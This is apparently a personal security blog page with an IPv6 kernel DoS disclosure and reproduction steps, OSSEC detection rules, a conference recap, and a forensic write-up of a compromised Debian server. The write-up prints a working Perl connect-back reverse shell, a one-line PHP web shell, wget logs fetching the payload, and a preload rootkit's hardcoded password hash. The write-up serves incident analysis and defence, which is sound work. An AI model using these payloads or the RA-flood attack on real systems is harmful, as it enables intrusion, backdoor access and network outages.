Into.the.Void.

I reported this bug on November 2012 but as of February 2013 it still hasn’t been fixed.

My initial report on oss-security and kernel netdev mailing lists reported it as an ‘information disclosure’ problem but then I found out that the issue is more severe and it can lead to the complete corruption of Linux kernel’s IPv6 stack until reboot. My second report wasn’t public, I thought it would be better not to make any public disclosure until the kernel people had enough time to respond, and was only sent to a number of kernel developers but I’m making it public now since the CVE is already out.

If someone wants to read all the publicly exchanged emails the best resource is probably this: http://marc.info/?t=135291265200001&r=1&w=2

Here’s the initial description of the problem:

Due to the way the Linux kernel handles the creation of IPv6 temporary addresses a malicious LAN user can remotely disable them altogether which may lead to privacy violations and information disclosure.

By default the Linux kernel uses the ‘ipv6.max_addresses’ option to specify how many IPv6 addresses an interface may have. The ‘ipv6.regen_max_retry’ option specifies how many times the kernel will try to create a new address.

Currently, in net/ipv6/addrconf.c,lines 898-910, there is no distinction between the events of reaching max_addresses for an interface and failing to generate a new address. Upon reaching any of the above conditions the following error is emitted by the kernel times ‘regen_max_retry’ (default value 3):

[183.793393] ipv6_create_tempaddr(): retry temporary address regeneration
[183.793405] ipv6_create_tempaddr(): retry temporary address regeneration
[183.793411] ipv6_create_tempaddr(): retry temporary address regeneration

After ‘regen_max_retry’ is reached the kernel completely disables temporary address generation for that interface.

[183.793413] ipv6_create_tempaddr(): regeneration time exceeded - disabled temporary address support

RFC4941 3.3.7 specifies that disabling temp_addresses MUST happen upon failure to create non-unique addresses which is not the above case. Addresses would have been created if the kernel had a higher
‘ipv6.max_addresses’ limit.

A malicious LAN user can send a limited amount of RA prefixes and thus disable IPv6 temporary address creation for any Linux host. Recent distributions which enable the IPv6 Privacy extensions by default, like Ubuntu 12.04 and 12.10, are vulnerable to such attacks.

Due to the kernel’s default values for valid (604800) and preferred (86400) lifetimes, this scenario may even occur under normal usage when a Router sends both a public and a ULA prefix, which is not an uncommon
scenario for IPv6. 16 addresses are not enough with the current default timers when more than 1 prefix is advertised.

The kernel should at least differentiate between the two cases of reaching max_addresses and being unable to create new addresses, due to DAD conflicts for example.

And here’s the second, more severe report about the corruption of the IPv6 stack:

I had previously informed this list about the issue of the linux kernel losing IPv6 privacy extensions by a local LAN attacker. Recently I’ve found that there’s actually another, more serious in my
opinion, issue that follows the previous one. If the user tries to disconnect/reconnect the network device/connection for whatever reason (e.g. thinking he might gain back privacy extensions), then the device gets IPs from SLAAC that have the “tentative” flag and never loses that. That means that IPv6 functionality for that device is from then on completely lost. I haven’t been able to bring back the kernel to a working IPv6 state without a reboot.

This is definitely a DoS situation and it needs fixing.

Here are the steps to reproduce:

== Step 1. Boot Ubuntu 12.10 (kernel 3.5.0-17-generic) ==
ubuntu@ubuntu:~$ ip a ls dev eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 52:54:00:8b:99:5d brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.96/24 brd 192.168.1.255 scope global eth0
    inet6 2001:db8:f00:f00:ad1f:9166:93d4:fd6d/64 scope global temporary dynamic 
       valid_lft 86379sec preferred_lft 3579sec
    inet6 2001:db8:f00:f00:5054:ff:fe8b:995d/64 scope global dynamic 
       valid_lft 86379sec preferred_lft 3579sec
    inet6 fdbb:aaaa:bbbb:cccc:ad1f:9166:93d4:fd6d/64 scope global temporary dynamic 
       valid_lft 86379sec preferred_lft 3579sec
    inet6 fdbb:aaaa:bbbb:cccc:5054:ff:fe8b:995d/64 scope global dynamic 
       valid_lft 86379sec preferred_lft 3579sec
    inet6 fe80::5054:ff:fe8b:995d/64 scope link 
       valid_lft forever preferred_lft forever

ubuntu@ubuntu:~$ sysctl -a | grep use_tempaddr
net.ipv6.conf.all.use_tempaddr = 2
net.ipv6.conf.default.use_tempaddr = 2
net.ipv6.conf.eth0.use_tempaddr = 2
net.ipv6.conf.lo.use_tempaddr = 2

ubuntu@ubuntu:~$ nmcli con status
NAME                      UUID                                   DEVICES    DEFAULT  VPN   MASTER-PATH
Wired connection 1        923e6729-74a7-4389-9dbd-43ed7db3d1b8   eth0       yes      no    --
ubuntu@ubuntu:~$ nmcli dev status
DEVICE     TYPE              STATE
eth0       802-3-ethernet    connected

//ping6 2a00:1450:4002:800::100e  while in another terminal: tcpdump -ni eth0 ip6

ubuntu@ubuntu:~$ ping6 2a00:1450:4002:800::100e -c1
PING 2a00:1450:4002:800::100e(2a00:1450:4002:800::100e) 56 data bytes
64 bytes from 2a00:1450:4002:800::100e: icmp_seq=1 ttl=53 time=70.9 ms

--- 2a00:1450:4002:800::100e ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 70.994/70.994/70.994/0.000 ms

# tcpdump -ni eth0 host 2a00:1450:4002:800::100e
17:57:37.784658 IP6 2001:db8:f00:f00:ad1f:9166:93d4:fd6d > 2a00:1450:4002:800::100e: ICMP6, echo request, seq 1, length 64
17:57:37.855257 IP6 2a00:1450:4002:800::100e > 2001:db8:f00:f00:ad1f:9166:93d4:fd6d: ICMP6, echo reply, seq 1, length 64

== Step 2. flood RAs on the LAN ==

$ dmesg | tail
[ 1093.642053] IPv6: ipv6_create_tempaddr: retry temporary address regeneration
[ 1093.642062] IPv6: ipv6_create_tempaddr: retry temporary address regeneration
[ 1093.642065] IPv6: ipv6_create_tempaddr: retry temporary address regeneration
[ 1093.642067] IPv6: ipv6_create_tempaddr: regeneration time exceeded - disabled temporary address support

ubuntu@ubuntu:~$ sysctl -a | grep use_tempaddr
net.ipv6.conf.all.use_tempaddr = 2
net.ipv6.conf.default.use_tempaddr = 2
net.ipv6.conf.eth0.use_tempaddr = -1
net.ipv6.conf.lo.use_tempaddr = 2

//ping6 2a00:1450:4002:800::100e  while in another terminal: tcpdump -ni eth0 ip6

ubuntu@ubuntu:~$ ping6 2a00:1450:4002:800::100e -c1
PING 2a00:1450:4002:800::100e(2a00:1450:4002:800::100e) 56 data bytes
64 bytes from 2a00:1450:4002:800::100e: icmp_seq=1 ttl=53 time=77.5 ms

--- 2a00:1450:4002:800::100e ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 77.568/77.568/77.568/0.000 ms

# tcpdump -ni eth0 host 2a00:1450:4002:800::100e
17:59:38.204173 IP6 2001:db8:f00:f00:5054:ff:fe8b:995d > 2a00:1450:4002:800::100e: ICMP6, echo request, seq 1, length 64
17:59:38.281437 IP6 2a00:1450:4002:800::100e > 2001:db8:f00:f00:5054:ff:fe8b:995d: ICMP6, echo reply, seq 1, length 64

//notice the change of IPv6 address to the one not using privacy extensions even after the flooding has finished long ago.

== Step 3. Disconnect/Reconnect connection  ==
// restoring net.ipv6.conf.eth0.use_tempaddr to value '2' makes no difference at all for the rest of the process

# nmcli dev disconnect iface eth0
# nmcli con up uuid 923e6729-74a7-4389-9dbd-43ed7db3d1b8

ubuntu@ubuntu:~$ ip a ls dev eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 52:54:00:8b:99:5d brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.96/24 brd 192.168.1.255 scope global eth0
    inet6 2001:db8:f00:f00:5054:ff:fe8b:995d/64 scope global tentative dynamic 
       valid_lft 86400sec preferred_lft 3600sec
    inet6 fdbb:aaaa:bbbb:cccc:5054:ff:fe8b:995d/64 scope global tentative dynamic 
       valid_lft 86400sec preferred_lft 3600sec
    inet6 fe80::5054:ff:fe8b:995d/64 scope link tentative 
       valid_lft forever preferred_lft forever

//Notice the "tentative" flag of the IPs on the device

//ping6 2a00:1450:4002:800::100e  while in another terminal: tcpdump -ni eth0 ip6

ubuntu@ubuntu:~$ ping6 2a00:1450:4002:800::100e -c1
PING 2a00:1450:4002:800::100e(2a00:1450:4002:800::100e) 56 data bytes
^C
--- 2a00:1450:4002:800::100e ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

# tcpdump -ni eth0 host 2a00:1450:4002:800::100e
18:01:45.264194 IP6 ::1 > 2a00:1450:4002:800::100e: ICMP6, echo request, seq 1, length 64

Summary:
Before flooding it uses IP: 2001:db8:f00:f00:ad1f:9166:93d4:fd6d
After flooding it uses IP: 2001:db8:f00:f00:5054:ff:fe8b:995d –> it has lost privacy extensions
After disconnect/reconnect it tries to use IP: ::1 –> it has lost IPv6 connectivity

The problem currently affects all Linux kernels (including the latest 3.8), that have IPv6 Privacy Extensions enabled. The only distribution that has IPv6 Privacy Extensions enabled by default is Ubuntu starting from version 12.04. So Ubuntu 12.04 and 12.10 are currently vulnerable to this attack and can have their IPv6 stack corrupted/disabled by a remote attacker in an untrusted network.

Kernel developers and people from RedHat Security Team are trying to fix the issue which in my opinion involves changing parts of the logic of IPv6 addressing algorithms in the Linux kernel.

No mitigation currently exists apart from disabling IPv6 Privacy Extensions.

You can play with this bug using flood_router26 tool from THC-IPv6 toolkit v2.1.
Usage: # ./flood_router26 -A iface

P.S. I can’t tell if the stack corruption could also lead to other kernel problems, that would probably need some professional security researchers to look into it.

Filed by kargig at 16:27 under Internet,IPv6,Linux,Networking
Tags: 12.04, 12.10, bug, cve, CVE-2013-0343, ipv6, kernel, Linux, Networking, Privacy, privacy extensions, security, slaac, temporary addresses, ubuntu, vulnerability
No Comments | 22,289 views

I’ve created some local rules for ossec to mitigate some of the effects of the wordpress xmlrpc attack presented here: WordPress Pingback Portscanner – Metasploit Module.

They seem to work for me, use at your own risk of getting flooded with tons of alerts. Obviously you need to set the alert level of the second rule to something that will trigger your active-response. Feel free to tweak the alert level, frequency and timeframe. Before you change frequency to something else please read the following thread though: setting ossec frequency level

   <rule id="100167" level="1">
    <if_sid>31108</if_sid>
    <url>xmlrpc.php</url>
    <match>POST</match>
    <description>WordPress xmlrpc attempt.</description>
  </rule>

  <rule id="100168" level="10" frequency="2" timeframe="600">
    <if_matched_sid>100167</if_matched_sid>
    <same_source_ip />
    <description>WordPress xmlrpc attack.</description>
    <group>attack,</group>
   </rule>

btw, if you don’t want xmlrpc.php accessible at all, you can block it through a simple mod_rewrite rule:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/PATH/TO/xmlrpc.php [NC]
RewriteRule ^(.*)$ - [F,L]

or you can try any of the other numerous ways to accomplish the same thing as presented here.

You’ll lose pingback functionality though…oh well.

Filed by kargig at 23:59 under Internet,Linux,Networking
Tags: attack, Internet, Linux, ossec, portscan, vulnerability, wordpress, xmlrpc
No Comments | 17,589 views

Alternate title: “Being a lamb around a pack of wolves” … A venue full of hackers that are eager to attack your systems…

On 3-4/05/2012 the third AthCon conference was held in Athens. AthCon is an international security conference whose motto is “The First HIGHLY TECHNICAL Security Conference in Greece”.

Even though I am not a security professional, my daily job title is “Systems and Services Engineer” which of course includes various aspects of security but I am certainly not a security researcher, I had decided months ago that I would be attending this year’s AthCon. Since I like messing a lot with IPv6 for the past 2-3 years, I decided that I could try and submit an introductory talk about IPv6 security issues. My talk was accepted, so I was not only attending AthCon this year but I was going to give a presentation as well.

My presentation – Are you ready for IPv6 insecurities ? was during the first day of the conference. I am always worried when I give presentations on IPv6 that the people attending have probably no clue about this ‘not-so-new’ protocol. Most people think that IPv6 is like IPv4 with bigger addresses and ‘:’ instead of ‘.’ to separate the address groups, which is of course a HUGE mistake/misunderstanding. I was hopeful that this wouldn’t be the case in AthCon, so when I started my presentation and I asked the crowd ‘how many of you know what SLAAC is ?’ and I only saw 3-4 hands raised I kinda froze, I was expecting at least a double digit…I was going to give a presentation on IPv6 security concepts to people that have absolutely no idea what I’m talking about. Being prepared for the fact that some people would need some ‘refreshing’ on their IPv6 knowledge, I had prepared around 20 introductory slides explaining some IPv6 concepts before I entered the security details, but I doubt these were enough for most people there. I am hopeful though that some of the attendees might be motivated to read more about the protocol since I think my security slides contained enough details, references and links to get people started. If someone needs more details feel free to contact me.

Enough with my presentation, what about other presentations ?
My personal view is that this year’s AthCon had some great talks, some that were ok and some that I didn’t like. I won’t mention which ones I didn’t like, but I noticed that a LOT of people were gossiping about these in the hallways. I will only mention here the ones that I really liked.

Day 1:
“Packing Heat!” by Dimitrios Glynos
A presentation that every pentester should download/watch somehow. Techniques about packing your executables to avoid detection by anti-virus programs, need I say more ? Great content and very well presented. Congrats Dimitris!

“PostScript: Danger Ahead” by Andrei Costin
How to use PostScript programming language to take advantage of Printers, OS, etc. Very interesting concepts were presented and also the examples/demos shown were pretty cool and easy to understand.

Day 2:
“Apple vs. Google Client Platforms” by Felix ‘FX’ Lindner
I guess mostly everyone reading this blog knows FX and what a great speaker he is. If you don’t then start watching his previous presentations and start reading about his work. His presentation at AthCon, apart from being the best one in terms of “presenting it”, was also extremely interesting. He connected the security concepts behind Apple’s iOS and Google’s Chromebook with their business tactics and policies. Just wait for AthCon to publish the videos and watch it. Probably the best talk at AthCon 2012.

“Advances in BeEF: RESTful API, WebSockets, XssRays enhancements” by Michele Orru
Jaw-dropping. That’s all I have to say about BeEF. Scary. Watch it to see what browsers and IDS have to face and defend against…not in the future but right now.

“Exploitation and state machines” by Halvar Flake
This presentation was about exploitation techniques and why automated exploitation engines don’t work that well. Even though reversing and exploitation is far from my interest topics I enjoyed the talk a lot. Very well structured and very clear points. Too bad this talk did not appear on the schedule and was there as “tbc”, I am sure many more people would come just to listen to this talk and speak to Halvar.

If I were to suggest a couple of things for next year…
a) Please put the CTF in separate slots within the day, not at the same time with the presentations. In a conference of 150-200 people (just guessing here) having 30+ people leaving the presentation room and just attending the CTF all day long leaves the main room a bit empty. I am pretty sure there were people that wanted to attend both the presentations and the CTF, unfortunately they had to make a choice.
b) Send some details/info to the speakers about the conference a few days earlier. Maybe non-greek presenters were given but we weren’t, at least I wasn’t.
c) The venue is really nice, but maybe it would help if the next AthCon was organized somewhere downtown. Yeah I can understand that the cost would be higher but number of people attending would also raise (I think).
d) Give us even more highly technical presentations/speakers! People starve for these kind of talks!

My congratulations fly to AthCon people for organizing the conference. See you next year!

You can find some of the pics I took from the speakers at: AthCon 2012 speaker pics (if any of the speakers wants his pic removed please contact me ASAP)

Filed by kargig at 15:07 under Encryption,Internet,IPv6,Linux,Networking,Privacy
Tags: apple, athcon, athens, beef, conference, ctf, exploitation, google, hacking, ipv6, packing, postscript, presentation, security, vulnerability, web application, xss
No Comments | 6,716 views

That’s why I love ossec:

OSSEC HIDS Notification.
2009 Oct 06 17:45:17

Received From: XXXX->rootcheck
Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)."
Portion of the log(s):

Rootkit 'Suspicious' detected by the presence of file '/var/www/vhosts/YYYY.com/httpdocs/album_mod/..  /.../.log'.

 --END OF NOTIFICATION

OSSEC HIDS Notification.
2009 Oct 06 17:45:17

Received From: XXXX->rootcheck
Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)."
Portion of the log(s):

Rootkit 'Suspicious' detected by the presence of file '/var/www/vhosts/YYYY.com/httpdocs/language/lang_english/     /... /.log'.

 --END OF NOTIFICATION

OSSEC HIDS Notification.
2009 Oct 06 17:45:17

Received From: XXXX->rootcheck
Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)."
Portion of the log(s):

Rootkit 'Suspicious' detected by the presence of file '/var/www/vhosts/YYYY.com/httpdocs/language/     /... /.log'.

 --END OF NOTIFICATION

Just found this by copying some files for a client from his previous hosting company to one of the hosting servers of a company I work for.

There were actually 2 different sets of files.
The first one contained a tool that “hides” a process, called: “XH (XHide) process faker”, and the second one contained an iroffer executable.

Files:
i)xh-files.tar.gz
Listing:
.log/
.log/.crond/
.log/.crond/xh
.log/week~
.log/week

ii)iroffer-files.tar.gz
Listing:
.--/
.--/imd.pid
.--/imd.state.tmp
.--/imd.state
.--/linux

Mind the . (dot) of the directories containing the files.

Filed by kargig at 22:01 under Linux
Tags: iroffer, Linux, ossec, process hider, rootkit, security, vulnerability
2 Comments | 10,138 views

To cut the story as short as possible let’s say that someone rents some dedicated servers somewhere in a big hosting company. I occasionally do some administrative tasks for him.
A server stopped responding and was unbootable on October 1st, one disk had crashed, then the hosting company did a huge mistake, I notified them about it and then they did another even bigger mistake (security issue) on the next day, October 2nd. I re-notified them about it…
So you can either read the whole story or if you are only interested on the security issue, skip the first day and go straight to October 2nd.

Some details, the server had 2 disks, sda with the OS (Debian 4.0) with Plesk control panel and sdb which had some backup files.

October 1st 2009:
10:10 I got a telephone call to help on that server because it looked dead and it couldn’t even be rebooted from the hosting’s company control panel.
10:15 I contacted the company’s support by email and notified them of the problem.
(more…)

Filed by kargig at 13:29 under Linux
Tags: compromise, customer support, debian, fail, hard disk, Linux, lsattr, password, plesk, rootkit, security, shv4, shv5, trojan, ttyload, ttymon, vulnerability
6 Comments | 20,478 views

Part 1: Finding the rootkit

It’s monday morning and I am for coffee in downtown Thessaloniki, a partner calls:
– On machine XXX mysqld is not starting since Saturday.
– Can I drink my coffee and come over later to check it ? Is it critical ?
– Nope, come over anytime you can…

Around 14:00 I go over to his company to check on the box. It’s a debian oldstable (etch) that runs apache2 with xoops CMS + zencart (version unknown), postfix, courier-imap(s)/pop3(s), bind9 and mysqld. You can call it a LAMP machine with a neglected CMS which is also running as a mailserver…

I log in as root, I do a ps ax and the first thing I notice is apache having more than 50 threads running. I shut apache2 down via /etc/init.d/apache2 stop. Then I start poking at mysqld. I can’t see it running on ps so I try starting it via the init.d script. Nothing…it hangs while trying to get it started. I suspect a failing disk so I use tune2fs -C 50 /dev/hda1 to force an e2fck on boot and I reboot the machine. The box starts booting, it checks the fs, no errors found, it continues and hangs at starting mysqld. I break out of the process and am back at login screen. I check the S.M.A.R.T. status of the disk via smartctl -a /dev/hda, all clear, no errors found. Then I try to start mysqld manually, it looks like it starts but when I try to connect to it via a mysql client I get no response. I try to move /var/lib/mysql/ files to another location and to re-init the mysql database. Trying to start mysqld after all that, still nothing.

Then I try to downgrade mysql to the previous version. Apt-get process tries to stop mysqld before it replaces it with the older version and it hangs, I try to break out of the process but it’s impossible…after a few killall -9 mysqld_safe;killall -9 mysql; killall -9 mysqladmin it finally moves on but when it tries to start the downgraded mysqld version it hangs once again. That’s totally weird…

I try to ldd /usr/sbin/mysqld and I notice a very strange library named /lib/ld-linuxv.so.1 in the output. I had never heard of that library name before so I google. Nothing comes up. I check on another debian etch box I have for the output of ldd /usr/sbin/mysqld and no library /lib/ld-linuxv.so.1 comes up. I am definitely watching something that it shouldn’t be there. And that’s a rootkit!

I ask some friends online but nobody has ever faced that library rootkit before. I try to find that file on the box but it’s nowhere to be seen inside /lib/…the rootkit hides itself pretty well. I can’t see it with ls /lib or echo /lib/*. The rootkit has probably patched the kernel functions that allow me to see it. Strangely though I was able to see it with ldd (more about the technical stuff on the second half of the post). I try to check on some other executables in /sbin with a for i in /usr/sbin/*;do ldd $i; done, all of them appear to have /lib/ld-linuxv.so.1 as a library dependency. I try to reboot the box with another kernel than the one it’s currently using but I get strange errors that it can’t even find the hard disk.

I try to downgrade the “working” kernel in an attempt of booting the box cleanly without the rootkit. I first take backups of the kernel and initramfs which are about to be replaced of course. When apt-get procedure calls mkinitramfs in order to create the initramfs image I notice that there are errors saying that it can’t delete /tmp/mkinitramfs_UVWXYZ/lib/ld-linuxv.so.1 file, so rm fails and that makes mkinitramfs fail as well.

I decide that I am doing more harm than good to the machine at the time and that I should first get an image of the disk before I fiddle any more with it. So I shut the box down. I set up a new box with most of the services that should be running (mail + dns), so I had the option to check on the disk with the rootkit on my own time.

Part 2: Technical analysis
I. First look at the ld-linuxv.so.1 library

A couple of days later I put the disk to my box and made an image of each partition using dd:
dd if=/dev/sdb1 of=/mnt/image/part1 bs=64k

Then I could mount the image using loop to play with it:
mount -o loop /mnt/image/part1 /mnt/part1

A simple ls of /mnt/part1/lib/ revealed that ld-linuxv.so.1 was there. I run strings to it:
# strings /lib/ld-linuxv.so.1
__gmon_start__
_init
_fini
__cxa_finalize
_Jv_RegisterClasses
execve
dlsym
fopen
fprintf
fclose
puts
system
crypt
strdup
readdir64
strstr
__xstat64
__errno_location
__lxstat64
opendir
login
pututline
open64
pam_open_session
pam_close_session
syslog
vasprintf
getspnam_r
getspnam
getpwnam
pam_authenticate
inssh
gotpass
__libc_start_main
logit
setuid
setgid
seteuid
setegid
read
fwrite
accept
htons
doshell
doconnect
fork
dup2
stdout
fflush
stdin
fscanf
sleep
exit
waitpid
socket
libdl.so.2
libc.so.6
_edata
__bss_start
_end
GLIBC_2.0
GLIBC_2.1.3
GLIBC_2.1
root
@^_]
`^_]
ld.so.preload
ld-linuxv.so.1
_so_cache
execve
/var/opt/_so_cache/ld
%s:%s
Welcome master
crypt
readdir64
__xstat64
__lxstat64
opendir
login
pututline
open64
lastlog
pam_open_session
pam_close_session
syslog
getspnam_r
$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0
getspnam
getpwnam
root
/dev/null
normal
pam_authenticate
pam_get_item
Password:
__libc_start_main
/var/opt/_so_cache/lc
local
/usr/sbin/sshd
/bin/sh
read
write
accept
/usr/sbin/crond
HISTFILE=/dev/null
%99s
$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0
/bin/sh

As one can easily see there’s some sort of password hash inside and references to /usr/sbin/sshd, /bin/sh and setting HISTFILE to /dev/null.

I took the disk image to my friend argp to help me figure out what exactly the rootkit does and how it was planted to the box.

II. What the rootkit does

Initially, while casually discussing the incident, kargig and myself (argp) we thought that we had to do with a kernel rootkit. However, after carefully studying the disassembled dead listing of ld-linuxv.so.1, it became clear that it was a shared library based rootkit. Specifically, the intruder created the /etc/ld.so.preload file on the system with just one entry; the path of where he saved the ld-linuxv.so.1 shared library, namely /lib/ld-linuxv.so.1. This has the effect of preloading ld-linuxv.so.1 every single time a dynamically linked executable is run by a user. Using the well-known technique of dlsym(RTLD_NEXT, symbol), in which the run-time address of the symbol after the current library is returned to allow the creation of wrappers, the ld-linuxv.so.1 shared library trojans (or hijacks) several functions. Below is a list of some of the functions the shared library hijacks and brief explanations of what some of them do:
crypt
readdir64
__xstat64
__l xstat64
opendir
login
pututline
open64
pam_open_session
pam_close_session
syslog
getspnam_r
getspnam
getpwnam
pam_authenticate
pam_get_item
__libc_start_main
read
write
accept

The hijacked accept() function sends a reverse, i.e. outgoing, shell to the IP address that initiated the incoming connection at port 80 only if the incoming IP address is a specific one. Afterwards it calls the original accept() system call. The hijacked getspnam() function sets the encrypted password entry of the shadow password structure (struct spwd->sp_pwdp) to a predefined hardcoded value (“$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0”). The hijacked read() and write() functions of the shared library wrap the corresponding system calls and if the current process is ssh (client or daemon), their buffers are appended to the file /var/opt/_so_cache/lc for outgoing ssh connections, or to /var/opt/_so_cache/ld for incoming ones (sshd). These files are also kept hidden using the same approach as described above.

III. How the rootkit was planted in the box

While argp was looking at the objdump output, I decided to take a look at the logs of the server. The first place I looked was the apache2 logs. Opening /mnt/part1/var/log/apache2/access.log.* didn’t provide any outcome at first sight, nothing really striking out, but when I opened /mnt/part1/var/log/apache2/error.log.1 I faced these entries at the bottom:

–01:05:38– http://ABCDEFGHIJ.150m.com/foobar.ext
=> `foobar.ext’
Resolving ABCDEFGHIJ.150m.com… 209.63.57.10
Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 695 [text/plain]
foobar.ext: Permission denied

Cannot write to `foobar.ext’ (Permission denied).
–01:05:51– http://ABCDEFGHIJ.150m.com/foobar.ext
=> `foobar.ext’
Resolving ABCDEFGHIJ.150m.com… 209.63.57.10
Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 695 [text/plain]

0K 100% 18.61 MB/s

01:05:51 (18.61 MB/s) – `foobar.ext’ saved [695/695]

–01:17:14– http://ABCDEFGHIJ.150m.com/foobar.ext
=> `foobar.ext’
Resolving ABCDEFGHIJ.150m.com… 209.63.57.10
Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 695 [text/plain]
foobar.ext: Permission denied

Cannot write to `foobar.ext’ (Permission denied).
–01:17:26– http://ABCDEFGHIJ.150m.com/foobar.ext
=> `foobar.ext’
Resolving ABCDEFGHIJ.150m.com… 209.63.57.10
Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 695 [text/plain]

0K 100% 25.30 MB/s

01:17:26 (25.30 MB/s) – `foobar.ext’ saved [695/695]

So this was the entrance point. Someone got through a web app to the box and was able to run code.
I downloaded “foobar.ext” from the same url and it was a perl script.

#!/usr/bin/perl
# Data Cha0s Perl Connect Back Backdoor Unpublished/Unreleased Source
# Code

use Socket;

print “[*] Dumping Arguments\n”;

$host = “A.B.C.D”;
$port = XYZ;

if ($ARGV[1]) {
$port = $ARGV[1];
}
print “[*] Connecting…\n”; $proto = getprotobyname(‘tcp’) || die(“[-] Unknown Protocol\n”);

socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die (“[-] Socket Error\n”);

my $target = inet_aton($host);

if (!connect(SERVER, pack “SnA4x8”, 2, $port, $target)) {
die(“[-] Unable to Connect\n”);
}
print “[*] Spawning Shell\n”;

if (!fork( )) {
open(STDIN,”>&SERVER”);
open(STDOUT,”>&SERVER”);
open(STDERR,”>&SERVER”);
exec {‘/bin/sh’} ‘-bash’ . “\0” x 4;
exit(0);
}

Since I got the time when foobar.ext was downloaded I looked again at the apache2 access.log to see what was going on at the time.
Here are some entries:

A.B.C.D – – [15/Aug/2009:01:05:33 +0300] “GET http://www.domain.com/admin/ HTTP/1.1” 302 – “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:34 +0300] “POST http://www.domain.com/admin/record_company.php/password_forgotten.php?action=insert HTTP/1.1” 200 303 “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:34 +0300] “GET http://www.domain.com/images/imagedisplay.php HTTP/1.1” 200 131 “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:38 +0300] “GET http://www.domain.com/images/imagedisplay.php HTTP/1.1” 200 – “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:47 +0300] “GET http://www.domain.com/images/imagedisplay.php HTTP/1.1” 200 52 “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:50 +0300] “GET http://www.domain.com/images/imagedisplay.php HTTP/1.1” 200 – “-” “Mozilla Firefox”
A.B.C.D – – [15/Aug/2009:01:05:51 +0300] “GET http://www.domain.com/images/imagedisplay.php HTTP/1.1” 200 59 “-” “Mozilla Firefox”

The second entry, with the POST looks pretty strange. I opened the admin/record_company.php file and discovered that it is part of zen-cart. The first result of googling for “zencart record_company” is this: Zen Cart ‘record_company.php’ Remote Code Execution Vulnerability. So that’s exactly how they were able to run code as the apache2 user.

Opening images/imagedisplay.php shows the following code:
<?php system($_SERVER["HTTP_SHELL"]); ?>
This code allows running commands using the account of the user running the apache2 server.

Part 3: Conclusion and food for thought
To conclude on what happened:
1) The attacker used the zencart vulnerability to create the imagedisplay.php file.
2) Using the imagedisplay.php file he was able to make the server download foobar.ext from his server.
3) Using the imagedisplay.php file he was able to run the server run foobar.ext which is a reverse shell. He could now connect to the machine.
4) Using some local exploit(s) he was probably able to become root.
5) Since he was root he uploaded/compiled ld-linuxv.so.1 and he created /etc/ld.so.preload. Now every executable would first load this “trojaned” library which allows him backdoor access to the box and is hidding from the system. So there is his rootkit 🙂

Fortunately the rootkit had problems and if /var/opt/_so_cache/ directory was not manually created it couldn’t write the lc and ld files inside it. If you created the _so_cache dir then it started logging.

If there are any more discoveries about the rootkit they will be posted in a new post. If someone else wants to analyze the rootkit I would be more than happy if he/she put a link to the analysis as a comment on this blog.

Part 4: Files

In the following tar.gz you will find the ld-linuxv.so.1 library and the perl script foobar.ext (Use at your own risk. Attacker’s host/ip have been removed from the perl script):linuxv-rootkit.tar.gz

Many many thanks to argp of Census Labs

Filed by kargig at 14:59 under Linux
Tags: apache2, audit, debian, etch, exploit, ld-linuxv, ld-linuxv.so.1, Linux, perl, record_company, rootkit, security, trojan, vulnerability, zen-cart, zencart
37 Comments | 126,655 views